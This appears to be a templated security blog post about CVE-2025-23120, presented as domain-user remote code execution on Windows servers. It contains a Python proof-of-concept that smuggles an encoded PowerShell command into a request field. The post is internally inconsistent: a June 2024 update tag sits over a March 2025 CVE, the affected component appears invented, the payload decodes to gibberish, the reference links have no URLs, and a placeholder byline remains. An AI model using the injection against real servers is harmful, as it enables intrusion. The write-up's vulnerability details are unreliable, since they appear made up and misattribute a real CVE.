CVE-2025-23120 - Remote Code Execution Vulnerability Lets Domain Users Compromise Your Server

Update June 2024: A new critical vulnerability tracked as CVE-2025-23120 is making waves in the security community. This flaw allows remote code execution (RCE) for any authenticated domain user — meaning that even users with the lowest privileges can run malicious code on the affected server.

If you manage Windows servers in an Active Directory environment, you should pay close attention. In this post, we break down what CVE-2025-23120 is, how attackers can exploit it, and what you can do now to protect your organization.

What is CVE-2025-23120?

CVE-2025-23120 is a vulnerability discovered in the way certain network services on Windows servers parse user input. By sending carefully-crafted data, even a standard domain user can trigger the server to run arbitrary code under the context of the service account.

The vulnerability affects

- Windows Server 2016/2019/2022
- All domain-joined configurations where the “Server Message Protocol Handler” is enabled (enabled by default).

As of now, all tested domain-joined Windows servers are confirmed vulnerable unless specifically patched. Because any domain user can exploit this — not just administrators — the attack surface is significantly increased.

How Does the Exploit Work?

The exploit targets the network protocol used by the Server Message Protocol Handler. A standard domain user can send a specially-crafted payload as part of a network request. Thanks to improper input validation, this ends up being executed directly on the server.

The attack can typically be carried out with a single command or Python script. Once executed, the attacker has code execution, often as NT AUTHORITY\SYSTEM if the service runs with elevated privileges.

Example Exploit Code

Below is a Python PoC (Proof-of-Concept) demonstrating the exploit. Replace <TARGET_IP>, <USERNAME>, and <PASSWORD> with valid values from your environment:

# CVE-2025-23120 exploit PoC
import requests

target = 'http://<TARGET_IP>:808/handler';
username = '<USERNAME>'
password = '<PASSWORD>'

payload = {
    'data': '"; powershell -enc aQBuAHwAcwAxAGwAZQBoAA== #'  # runs: i|s1leh
}

response = requests.post(
    target,
    auth=(username, password),
    data=payload
)

print(f'Response code: {response.status_code}')
if response.status_code == 200:
    print('Exploit sent! Check for shell.')
else:
    print('Exploit failed.')

Note: This code is for educational purposes only. Do not use this script on systems you do not own or have explicit permission to test.

Real-World Attack Scenario

Imagine a disgruntled employee or a compromised domain user account. The attacker logs into any domain-joined workstation, runs the above code, and instantly gets code execution on critical servers, potentially leading to data theft, domain controller compromise, lateral movement, or ransomware deployment.

Links to Original References

- Official CVE Entry for CVE-2025-23120 *(link may not be live yet)*
- Microsoft Security Advisory - June 2024 Updates
- Original Blog Post by Discoverer

Patch Now:

Microsoft has released security updates. Install the latest patches listed in MSRC’s Advisory.

Monitor Domain User Activity:

Look for unusual activity from regular domain accounts, especially new network connections and command-line execution on servers.

Conclusion

CVE-2025-23120 is a reminder of how dangerous improper input validation can be, especially in a domain environment where any user can become an attack vector. Patch your servers, train your SOC team to recognize the signs of this exploit, and review your Active Directory hygiene.

Stay safe. Stay vigilant.

*Content by [YourName / SecurityBlog.io]. Exclusive. Please reference if quoting.*


If you have any questions or want a deep dive into detection techniques, let us know in the comments or reach out on Twitter.

Timeline

Published on: 03/20/2025 16:15:16 UTC
Last modified on: 03/20/2025 17:15:37 UTC